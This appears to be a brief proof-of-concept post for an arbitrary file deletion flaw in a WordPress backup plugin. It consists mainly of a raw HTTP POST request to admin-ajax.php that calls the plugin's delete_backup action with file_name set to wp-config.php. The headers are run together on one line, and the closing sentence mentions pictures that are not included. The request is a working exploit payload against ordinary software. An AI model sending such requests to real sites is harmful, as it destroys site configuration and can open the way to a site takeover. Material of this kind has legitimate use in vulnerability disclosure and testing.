WordPress Plugin Backup and Rest

plugins get Arbitrary File Deletion()

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://localhost/wordpress/wp-admin/admin.php?page=mo_eb_backup_reportContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 155Origin: http://localhostConnection: closeCookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636463166%7C9VH5dtz6rmSefsnxLUWgFNF85FReGRWg61Nhbu95sJZ%7E82178aa467cd00f9cbcce03c6157fdcbf581a715d3cdc7a6b5c940dafe58fifd; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9371ce3ee91=admin%7C1836463166%7C9VH5dtz6rmSefsnxLUZgFNF85FReGRWg61Vhau95sJZ%7C9ae26395803f7d17f75c62d98856f3249e72688d38a9d3dbb616a0e3c808c917; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1636290368Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originaction=barfw_backup_ajax_redirect&call_type=delete_backup&file_name=wp-config.php&folder_name=C%3a%5cxampp%5chtdocs%5cwordpress%5c%5c&id=5&nonce=ee90968cce

unlink take some troubles as u can see at the below pics